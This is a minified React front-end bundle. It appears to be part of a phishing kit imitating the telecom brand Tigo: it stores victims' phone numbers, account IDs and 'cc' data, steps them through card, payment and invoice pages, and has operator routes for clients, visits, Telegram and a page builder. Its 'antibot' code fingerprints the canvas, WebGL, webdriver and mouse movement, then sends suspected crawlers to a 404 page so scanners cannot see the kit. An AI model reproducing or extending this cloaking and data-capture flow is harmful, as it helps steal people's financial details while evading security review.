again later.");break;default:c(I)}const z=new Error(I);throw z.toastShown=!0,z}},[h,c,i,d]),y=C.useCallback((j,R,D)=>{R&&(j?.message?j.success===!1?c(j.message):i(j.message):D&&i(D))},[c,i]),w=C.useCallback(async(j,R={})=>{t(!0),s(null);try{return(await bt.get(j,R)).data}catch(D){console.log("🚀 ~ middleware ~ err:",D);const k={message:D.response?.data?.message||D.response?.data?.error||D.message||"Validation failed",reason:D.response?.data?.reason||"unknown",status:D.response?.status||500,success:D.response?.data?.success||!1,error:D.response?.data?.error||"Unknown error"},B=new Error(k.message);throw B.responseData=D.response?.data,B.reason=k.reason,B.status=k.status,B.success=k.success,s(k.message),B}finally{t(!1)}},[]),S=C.useCallback(async(j,R={},D=!1,k="",B=!1)=>{t(!0),s(null);try{const I=R.method||"GET",z=R.body?JSON.parse(R.body):R.data;let U;switch(I.toUpperCase()){case"GET":U=bt.get(j,R.params);break;case"POST":U=bt.post(j,z);break;case"PUT":U=bt.put(j,z);break;case"PATCH":U=bt.patch(j,z);break;case"DELETE":U=bt.delete(j);break;default:throw new Error(`Unsupported HTTP method: ${I}`)}return await g(U,D,k,B)}catch(I){throw s(I.message),I}finally{t(!1)}},[g]),N={get:C.useCallback(async(j,R={})=>{t(!0),s(null);try{return await g(bt.get(j,R))}catch(D){throw s(D.message),D}finally{t(!1)}},[g]),getpage:C.useCallback(async(j,R={})=>{t(!0),s(null);try{return await g(bt.get(j,R))}catch(D){throw console.log("🚀 ~ useApi ~ err:",D),D}finally{t(!1)}},[g]),create:C.useCallback(async(j,R,D=!1)=>{t(!0),s(null);try{const k=await g(bt.post(j,R));return y(k,D,"Resource created successfully"),k}catch(k){throw s(k.message),k}finally{t(!1)}},[g,y]),sending:C.useCallback(async(j,R)=>{t(!0),s(null);try{return await g(bt.post(j,R))}catch(D){throw console.log("🚀 ~ useApi ~ err:",D),D}finally{t(!1)}},[g,i,c]),update:C.useCallback(async(j,R,D=!1)=>{t(!0),s(null);try{const k=await g(bt.put(j,R));return y(k,D,"Resource updated successfully"),k}catch(k){throw s(k.message),k}finally{t(!1)}},[g,y]),put:C.useCallback(async(j,R)=>{t(!0),s(null);try{return await g(bt.put(j,R))}catch(D){throw s(D.message),D}finally{t(!1)}},[g,i,c]),patch:C.useCallback(async(j,R,D=!1)=>{t(!0),s(null);try{const k=await g(bt.patch(j,R));return y(k,D,"Resource updated successfully"),k}catch(k){throw s(k.message),k}finally{t(!1)}},[g,y]),delete:C.useCallback(async(j,R=!1)=>{t(!0),s(null);try{const D=await g(bt.delete(j));return y(D,R,"Resource deleted successfully"),D}catch(D){throw s(D.message),D}finally{t(!1)}},[g,y])},T=C.useCallback(async(j,R,D={},k=!1)=>{t(!0),s(null);try{const B=new FormData;B.append("file",R),Object.keys(D).forEach(z=>{B.append(z,D[z])});const I=await g(bt.post(j,B,{headers:{"Content-Type":"multipart/form-data"}}));return k&&i("File uploaded successfully"),I}catch(B){throw s(B.message),B}finally{t(!1)}},[g,i]),E=C.useCallback(async(j,R=!1)=>{t(!0),s(null);try{const D=j.map(z=>{switch(z.method?.toUpperCase()){case"POST":return bt.post(z.endpoint,z.data);case"PUT":return bt.put(z.endpoint,z.data);case"PATCH":return bt.patch(z.endpoint,z.data);case"DELETE":return bt.delete(z.endpoint);default:return bt.get(z.endpoint,z.params)}}),k=await Promise.allSettled(D),B=k.filter(z=>z.status==="rejected"),I=k.filter(z=>z.status==="fulfilled");return R&&(B.length===0?i(`All ${j.length} operations completed successfully`):I.length===0?c(`All ${j.length} operations failed`):u(`${I.length} operations succeeded, ${B.length} failed`)),{results:k.map(z=>z.status==="fulfilled"?z.value.data:z.reason),succeeded:I.length,failed:B.length,total:j.length}}catch(D){throw s(D.message),D}finally{t(!1)}},[i,c,u]),A={login:C.useCallback(async j=>{t(!0),s(null);try{const R=await g(bt.login(j),!1,"",!0);return R.access_token&&m(R.access_token),R}catch(R){throw s(R.message),R}finally{t(!1)}},[g,m]),logout:C.useCallback(async()=>{t(!0),s(null);try{await g(bt.logout()),h(),i("Logged out successfully")}catch(j){h(),s(j.message)}finally{t(!1)}},[g,h,i]),register:C.useCallback(async j=>{t(!0),s(null);try{return await g(bt.register({name:j.name,username:j.username,email:j.email,password:j.password,password_confirmation:j.passwordConfirmation}),!1,"",!0)}catch(R){throw s(R.message),R}finally{t(!1)}},[g]),refreshToken:C.useCallback(async()=>{t(!0),s(null);try{const j=await g(bt.post("/auth/refresh"));return j.access_token&&m(j.access_token),j}catch(j){throw s(j.message),j}finally{t(!1)}},[g,m]),getProfile:C.useCallback(async()=>{t(!0),s(null);try{return await g(bt.getProfile())}catch(j){throw s(j.message),j}finally{t(!1)}},[g])};return{loading:e,error:n,apiCall:S,...N,middleware:w,uploadFile:T,batch:E,auth:A,getAuthToken:d,setAuthToken:m,removeAuthToken:h,initializeCsrf:p,csrfInitialized:x,clearError:()=>s(null)}};function g7(){let e=!1,t=!1,n=0;try{const m=document.createElement("canvas"),h=m.getContext("2d");if(h){h.textBaseline="top",h.font="14px Arial",h.fillText("antibot",2,2);const p=m.toDataURL();t=!p||p.length<100}else t=!0}catch{t=!0}try{const m=document.createElement("canvas").getContext("webgl")||document.createElement("canvas").getContext("experimental-webgl");if(m){const h=m.getExtension("WEBGL_debug_renderer_info");if(h){const p=m.getParameter(h.UNMASKED_RENDERER_WEBGL)||"";e=/swiftshader|llvmpipe|headless/i.test(p)}}}catch{}[()=>typeof window.chrome<"u",()=>typeof navigator.permissions<"u",()=>typeof Intl<"u"].forEach(m=>{try{m()||(n+=1)}catch{n+=1}});const i=navigator.userAgent||"",c=/android|iphone|ipad|mobile/i.test(i),u="ontouchstart"in window||navigator.maxTouchPoints>0,d=c!==u;return{webdriver:!!navigator.webdriver,headlessRenderer:e,canvasBlank:t,pluginCount:navigator.plugins?.length??0,missingAPIs:n,screenWidth:window.screen?.width??0,screenHeight:window.screen?.height??0,touchMismatch:d}}function v7(){const e={mouseMoveCount:0,mouseDistancePx:0,scrollCount:0,timeToFirstInteractionMs:null,lastX:null,lastY:null,startedAt:performance.now()},t=()=>{e.timeToFirstInteractionMs===null&&(e.timeToFirstInteractionMs=Math.round(performance.now()-e.startedAt))},n=m=>{t();const h=m.clientX??0,p=m.clientY??0;if(e.lastX!==null&&e.lastY!==null){const x=h-e.lastX,g=p-e.lastY;e.mouseDistancePx+=Math.hypot(x,g)}e.lastX=h,e.lastY=p,e.mouseMoveCount+=1},s=()=>{t(),e.scrollCount+=1},i=()=>t(),c=()=>t();return document.addEventListener("mousemove",n,{passive:!0}),document.addEventListener("pointermove",n,{passive:!0}),document.addEventListener("scroll",s,{passive:!0}),document.addEventListener("keydown",i,{passive:!0}),document.addEventListener("click",c,{passive:!0}),{stop:()=>{document.removeEventListener("mousemove",n),document.removeEventListener("pointermove",n),document.removeEventListener("scroll",s),document.removeEventListener("keydown",i),document.removeEventListener("click",c)},snapshot:()=>({mouseMoveCount:e.mouseMoveCount,mouseDistancePx:Math.round(e.mouseDistancePx),scrollCount:e.scrollCount,timeToFirstInteractionMs:e.timeToFirstInteractionMs})}}function y7(e=2e3){const t=v7();return new Promise(n=>{setTimeout(()=>{const s=t.snapshot();t.stop(),n(s)},e)})}const bx="antibot_scored_v1";function b7(e){return{scoreVisitor:C.useCallback(async n=>{if(!n)return{verdict:"clean",score:0,skipped:!0};const s=sessionStorage.getItem(bx);if(s)try{return JSON.parse(s)}catch{sessionStorage.removeItem(bx)}const i=g7(),c=await y7(2e3),u=await e.create("/antibot/score",{uid:n,fingerprint:i,behavior:c},!1);return sessionStorage.setItem(bx,JSON.stringify(u)),u},[e])}}const oj="/",lj="/check",cj="/red",Ki="/captcha",Xi="/404",oi="/app",cl="/main",yg="/invoice",uj="/payment",dj="/panel",Fv="/dashboard",du="/clients",w7="/visits",I0="/antibots",fj="/telegram",hj="/settings",mj="/builder",C7="/action/:uniqueId?",S7="/action",N7="/panel/actions/:id?",E7="/panel/actions",vf=()=>Math.random().toString(16).substring(2,15),j7=[oj,lj];function yf(){localStorage.removeItem("tigo_current_step"),localStorage.removeItem("tigo_phone_locked"),localStorage.removeItem("tigo_phone"),localStorage.removeItem("tigo_account_id"),localStorage.removeItem("cc"),localStorage.removeItem("username")}function A7({children:e}){const{userid:t,setUserId:n,setAuthenticated:s,setIsForm:i}=Wt(),c=Qt(),{scoreVisitor:u}=b7(c),d=la(),m=Ca(),[h,p]=C.useState(!1),x=C.useRef(!1);return C.useEffect(()=>{if(x.current)return;x.current=!0;let g=!1;return(async()=>{let w=t;w||(w=vf(),n(w));const S=j7.includes(m.pathname),N=m.pathname===Ki;if(!S&&!N){g||p(!0);return}if(N){w||(w=vf(),n(w)),g||p(!0);return}if(!N)try{const T=await u(w);if(g)return;if(T?.verdict==="bot"){yf(),g||p(!0),d(Xi);return}const E=await c.getpage(`/check/${w}`);if(g)return;if(s(!1),!E?.success){if(localStorage.getItem("tigo_current_step")){yf(),w=vf(),n(w);try{const D=await c.getpage(`/check/${w}`);if(g)return;if(D?.success){s(!0),i(D.next_page||"login"),g||p(!0),d(D.next_page==="card"?oi:cl);return}}catch{}}g||p(!0),d(Xi);return}if(E.bot_verdict==="bot"){yf(),g||p(!0),d(Xi);return}if(E.captcha===!0||E.require_captcha===!0||E.captcha===1||E.require_captcha===1||E.captcha_enabled===!0&&E.captcha_passed!==!0){i(E.next_page||"login"),g||p(!0),d(Ki);return}const j=localStorage.getItem("tigo_current_step");if(j&&j!=="phone"){s(!0),g||p(!0),j==="app"?d(oi,{replace:!0}):j==="card"?d("/payment",{replace:!0}):j==="invoice"||j==="phone_done"?d("/invoice",{replace:!0}):d(cl,{replace:!0});return}s(!0),i(E.next_page||"login"),g||p(!0),d(E.next_page==="card"?oi:cl);return}catch(T){if(console.error("Check flow failed:",T),localStorage.getItem("tigo_current_step")){yf();const A=vf();n(A);try{const j=await c.getpage(`/check/${A}`);if(g)return;if(j?.success){s(!0),i(j.next_page||"login"),g||p(!0),d(j.next_page==="card"?oi:cl);return}}catch{}}g||p(!0),d(Xi);return}finally{g||p(!0)}})(),()=>{g=!0,x.current=!1}},[]),h?e:o.jsxs("div",{className:"w-full flex flex-col items-center justify-center h-screen bg-[#00377d]",children:[o.jsx("div",{style:{width:40,height:40,border:"4px solid rgba(255,255,255,0.2)",borderTopColor:"#ffffff",borderRadius:"50%",animation:"spin 1s linear infinite"}}),o.jsx("style",{children:"@keyframes spin{to{transform:rotate(360deg)}}"})]})}const Uc=()=>o.jsx("div",{className:"w-full min-h-dvh flex flex-col justify-start items-stretch",children:o.jsx(A7,{children:o.jsx(Ru,{})})});/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const T7=e=>e.replace(/([a-z0-9])([A-Z])/g,"$1-$2").toLowerCase(),D7=e=>e.replace(/^([A-Z])|[\s-_]+(\w)/g,(t,n,s)=>s?s.toUpperCase():n.toLowerCase()),b4=e=>{const t=D7(e);return t.charAt(0).toUpperCase()+t.slice(1)},pj=(...e)=>e.filter((t,n,s)=>!!t&&t.trim()!==""&&s.indexOf(t)===n).join(" ").trim(),R7=e=>{for(const t in e)if(t.startsWith("aria-")||t==="role"||t==="title")return!0};/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */var _7={xmlns:"http://www.w3.org/2000/svg",width:24,height:24,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:2,strokeLinecap:"round",strokeLinejoin:"round"};/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const k7=C.forwardRef(({color:e="currentColor",size:t=24,strokeWidth:n=2,absoluteStrokeWidth:s,className:i="",children:c,iconNode:u,...d},m)=>C.createElement("svg",{ref:m,..._7,width:t,height:t,stroke:e,strokeWidth:s?Number(n)*24/Number(t):n,className:pj("lucide",i),...!c&&!R7(d)&&{"aria-hidden":"true"},...d},[...u.map(([h,p])=>C.createElement(h,p)),...Array.isArray(c)?c:[c]]));/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const Me=(e,t)=>{const n=C.forwardRef(({className:s,...i},c)=>C.createElement(k7,{ref:c,iconNode:t,className:pj(`lucide-${T7(b4(e))}`,`lucide-${e}`,s),...i}));return n.displayName=b4(e),n};/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const B7=[["path",{d:"M22 12h-2.48a2 2 0 0 0-1.93 1.46l-2.35 8.36a.25.25 0 0 1-.48 0L9.24 2.18a.25.25 0 0 0-.48 0l-2.35 8.36A2 2 0 0 1 4.49 12H2",key:"169zse"}]],H0=Me("activity",B7);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const M7=[["path",{d:"M12 5v14",key:"s699le"}],["path",{d:"m19 12-7 7-7-7",key:"1idqje"}]],F7=Me("arrow-down",M7);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const O7=[["path",{d:"M5 12h14",key:"1ays0h"}],["path",{d:"m12 5 7 7-7 7",key:"xquz4c"}]],bg=Me("arrow-right",O7);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const L7=[["path",{d:"m5 12 7-7 7 7",key:"hav0vg"}],["path",{d:"M12 19V5",key:"x0mq9r"}]],P7=Me("arrow-up",L7);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const z7=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["path",{d:"m4.9 4.9 14.2 14.2",key:"1m5liu"}]],V7=Me("ban",z7);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const U7=[["path",{d:"M12 8V4H8",key:"hb8ula"}],["rect",{width:"16",height:"12",x:"4",y:"8",rx:"2",key:"enze0r"}],["path",{d:"M2 14h2",key:"vft8re"}],["path",{d:"M20 14h2",key:"4cs60a"}],["path",{d:"M15 13v2",key:"1xurst"}],["path",{d:"M9 13v2",key:"rq6x2g"}]],co=Me("bot",U7);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const I7=[["path",{d:"M16 3v2.107",key:"gq8xun"}],["path",{d:"M17 9c1 3 2.5 3.5 3.5 4.5A5 5 0 0 1 22 17a5 5 0 0 1-10 0c0-.3 0-.6.1-.9a2 2 0 1 0 3.3-2C13 11.5 16 9 17 9",key:"1l2pih"}],["path",{d:"M21 8.274V5a2 2 0 0 0-2-2H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h3.938",key:"jrnqjp"}],["path",{d:"M3 15h5.253",key:"xqg7rb"}],["path",{d:"M3 9h8.228",key:"1ppb70"}],["path",{d:"M8 15v6",key:"1stoo3"}],["path",{d:"M8 3v6",key:"vlvjmk"}]],H7=Me("brick-wall-fire",I7);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const q7=[["path",{d:"M8 2v4",key:"1cmpym"}],["path",{d:"M16 2v4",key:"4m81vk"}],["rect",{width:"18",height:"18",x:"3",y:"4",rx:"2",key:"1hopcy"}],["path",{d:"M3 10h18",key:"8toen8"}]],w4=Me("calendar",q7);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const $7=[["path",{d:"M3 3v16a2 2 0 0 0 2 2h16",key:"c24i48"}],["path",{d:"M18 17V9",key:"2bz60n"}],["path",{d:"M13 17V5",key:"1frdt8"}],["path",{d:"M8 17v-3",key:"17ska0"}]],G7=Me("chart-column",$7);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const Y7=[["path",{d:"M20 6 9 17l-5-5",key:"1gmf2c"}]],wl=Me("check",Y7);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const K7=[["path",{d:"m6 9 6 6 6-6",key:"qrunsl"}]],wh=Me("chevron-down",K7);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const X7=[["path",{d:"m15 18-6-6 6-6",key:"1wnfg3"}]],W7=Me("chevron-left",X7);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const Q7=[["path",{d:"m9 18 6-6-6-6",key:"mthhwq"}]],Z7=Me("chevron-right",Q7);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const J7=[["path",{d:"m18 15-6-6-6 6",key:"153udz"}]],e9=Me("chevron-up",J7);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const t9=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["line",{x1:"12",x2:"12",y1:"8",y2:"12",key:"1pkeuh"}],["line",{x1:"12",x2:"12.01",y1:"16",y2:"16",key:"4dfq90"}]],Ov=Me("circle-alert",t9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const n9=[["path",{d:"M21.801 10A10 10 0 1 1 17 3.335",key:"yps3ct"}],["path",{d:"m9 11 3 3L22 4",key:"1pflzl"}]],fu=Me("circle-check-big",n9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const a9=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["path",{d:"m9 12 2 2 4-4",key:"dzmm74"}]],C4=Me("circle-check",a9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const s9=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["path",{d:"M9.09 9a3 3 0 0 1 5.83 1c0 2-3 3-3 3",key:"1u773s"}],["path",{d:"M12 17h.01",key:"p32p05"}]],xj=Me("circle-question-mark",s9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const r9=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["path",{d:"m15 9-6 6",key:"1uzhvr"}],["path",{d:"m9 9 6 6",key:"z0biqf"}]],wg=Me("circle-x",r9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const i9=[["path",{d:"M20.2 6 3 11l-.9-2.4c-.3-1.1.3-2.2 1.3-2.5l13.5-4c1.1-.3 2.2.3 2.5 1.3Z",key:"1tn4o7"}],["path",{d:"m6.2 5.3 3.1 3.9",key:"iuk76l"}],["path",{d:"m12.4 3.4 3.1 4",key:"6hsd6n"}],["path",{d:"M3 11h18v8a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2Z",key:"ltgou9"}]],o9=Me("clapperboard",i9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const l9=[["path",{d:"M12 6v6l4 2",key:"mmk7yg"}],["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}]],Fu=Me("clock",l9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const c9=[["rect",{width:"14",height:"14",x:"8",y:"8",rx:"2",ry:"2",key:"17jyea"}],["path",{d:"M4 16c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2",key:"zix9uf"}]],Cg=Me("copy",c9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const u9=[["rect",{width:"20",height:"14",x:"2",y:"5",rx:"2",key:"ynyp8z"}],["line",{x1:"2",x2:"22",y1:"10",y2:"10",key:"1b3vmo"}]],d9=Me("credit-card",u9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const f9=[["ellipse",{cx:"12",cy:"5",rx:"9",ry:"3",key:"msslwz"}],["path",{d:"M3 5V19A9 3 0 0 0 21 19V5",key:"1wlel7"}],["path",{d:"M3 12A9 3 0 0 0 21 12",key:"mv7ke4"}]],h9=Me("database",f9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const m9=[["path",{d:"M15 3h6v6",key:"1q9fwt"}],["path",{d:"M10 14 21 3",key:"gplh6r"}],["path",{d:"M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6",key:"a6xqqp"}]],Lv=Me("external-link",m9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const p9=[["path",{d:"M10.733 5.076a10.744 10.744 0 0 1 11.205 6.575 1 1 0 0 1 0 .696 10.747 10.747 0 0 1-1.444 2.49",key:"ct8e1f"}],["path",{d:"M14.084 14.158a3 3 0 0 1-4.242-4.242",key:"151rxh"}],["path",{d:"M17.479 17.499a10.75 10.75 0 0 1-15.417-5.151 1 1 0 0 1 0-.696 10.75 10.75 0 0 1 4.446-5.143",key:"13bj9a"}],["path",{d:"m2 2 20 20",key:"1ooewy"}]],Pv=Me("eye-off",p9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const x9=[["path",{d:"M2.062 12.348a1 1 0 0 1 0-.696 10.75 10.75 0 0 1 19.876 0 1 1 0 0 1 0 .696 10.75 10.75 0 0 1-19.876 0",key:"1nclc0"}],["circle",{cx:"12",cy:"12",r:"3",key:"1v7zrd"}]],Sr=Me("eye",x9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const g9=[["path",{d:"M15 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V7Z",key:"1rqfz7"}],["path",{d:"M14 2v4a2 2 0 0 0 2 2h4",key:"tnqrlb"}],["path",{d:"M10 9H8",key:"b1mrlr"}],["path",{d:"M16 13H8",key:"t4e002"}],["path",{d:"M16 17H8",key:"z1uh3a"}]],gj=Me("file-text",g9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const v9=[["path",{d:"M10 20a1 1 0 0 0 .553.895l2 1A1 1 0 0 0 14 21v-7a2 2 0 0 1 .517-1.341L21.74 4.67A1 1 0 0 0 21 3H3a1 1 0 0 0-.742 1.67l7.225 7.989A2 2 0 0 1 10 14z",key:"sc7q7i"}]],y9=Me("funnel",v9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const b9=[["path",{d:"M9 10h.01",key:"qbtxuw"}],["path",{d:"M15 10h.01",key:"1qmjsl"}],["path",{d:"M12 2a8 8 0 0 0-8 8v12l3-3 2.5 2.5L12 19l2.5 2.5L17 19l3 3V10a8 8 0 0 0-8-8z",key:"uwwb07"}]],q0=Me("ghost",b9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const w9=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["path",{d:"M12 2a14.5 14.5 0 0 0 0 20 14.5 14.5 0 0 0 0-20",key:"13o1zl"}],["path",{d:"M2 12h20",key:"9i4pu4"}]],ul=Me("globe",w9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const C9=[["path",{d:"M4 12h8",key:"17cfdx"}],["path",{d:"M4 18V6",key:"1rz3zl"}],["path",{d:"M12 18V6",key:"zqpxq5"}],["path",{d:"m17 12 3-2v8",key:"1hhhft"}]],S9=Me("heading-1",C9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const N9=[["path",{d:"M15 21v-8a1 1 0 0 0-1-1h-4a1 1 0 0 0-1 1v8",key:"5wwlr5"}],["path",{d:"M3 10a2 2 0 0 1 .709-1.528l7-5.999a2 2 0 0 1 2.582 0l7 5.999A2 2 0 0 1 21 10v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z",key:"1d0kgt"}]],E9=Me("house",N9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const j9=[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["path",{d:"M12 16v-4",key:"1dtifu"}],["path",{d:"M12 8h.01",key:"e9boi3"}]],A9=Me("info",j9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const T9=[["path",{d:"M2.586 17.414A2 2 0 0 0 2 18.828V21a1 1 0 0 0 1 1h3a1 1 0 0 0 1-1v-1a1 1 0 0 1 1-1h1a1 1 0 0 0 1-1v-1a1 1 0 0 1 1-1h.172a2 2 0 0 0 1.414-.586l.814-.814a6.5 6.5 0 1 0-4-4z",key:"1s6t7t"}],["circle",{cx:"16.5",cy:"7.5",r:".5",fill:"currentColor",key:"w0ekpg"}]],Jo=Me("key-round",T9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const D9=[["path",{d:"m15.5 7.5 2.3 2.3a1 1 0 0 0 1.4 0l2.1-2.1a1 1 0 0 0 0-1.4L19 4",key:"g0fldk"}],["path",{d:"m21 2-9.6 9.6",key:"1j0ho8"}],["circle",{cx:"7.5",cy:"15.5",r:"5.5",key:"yqb3hr"}]],R9=Me("key",D9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const _9=[["path",{d:"m5 8 6 6",key:"1wu5hv"}],["path",{d:"m4 14 6-6 2-3",key:"1k1g8d"}],["path",{d:"M2 5h12",key:"or177f"}],["path",{d:"M7 2h1",key:"1t2jsx"}],["path",{d:"m22 22-5-10-5 10",key:"don7ne"}],["path",{d:"M14 18h6",key:"1m8k6r"}]],zv=Me("languages",_9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const k9=[["path",{d:"M3 12h.01",key:"nlz23k"}],["path",{d:"M3 18h.01",key:"1tta3j"}],["path",{d:"M3 6h.01",key:"1rqtza"}],["path",{d:"M8 12h13",key:"1za7za"}],["path",{d:"M8 18h13",key:"1lx6n3"}],["path",{d:"M8 6h13",key:"ik3vkj"}]],S4=Me("list",k9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const B9=[["path",{d:"M21 12a9 9 0 1 1-6.219-8.56",key:"13zald"}]],jn=Me("loader-circle",B9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const M9=[["rect",{width:"18",height:"11",x:"3",y:"11",rx:"2",ry:"2",key:"1w4ew1"}],["path",{d:"M7 11V7a5 5 0 0 1 10 0v4",key:"fwvmzm"}]],Zc=Me("lock",M9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const F9=[["path",{d:"m16 17 5-5-5-5",key:"1bji2h"}],["path",{d:"M21 12H9",key:"dn1m92"}],["path",{d:"M9 21H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h4",key:"1uf3rs"}]],O9=Me("log-out",F9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const L9=[["path",{d:"m22 7-8.991 5.727a2 2 0 0 1-2.009 0L2 7",key:"132q7q"}],["rect",{x:"2",y:"4",width:"20",height:"16",rx:"2",key:"izxlao"}]],N4=Me("mail",L9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const P9=[["path",{d:"M4 12h16",key:"1lakjw"}],["path",{d:"M4 18h16",key:"19g7jn"}],["path",{d:"M4 6h16",key:"1o0s65"}]],z9=Me("menu",P9);/**
 * @license lucide-react v0.525.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
